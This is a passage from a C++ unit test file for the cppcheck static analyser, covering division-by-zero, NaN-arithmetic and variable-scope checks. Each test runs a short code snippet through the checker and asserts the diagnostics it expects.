program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int 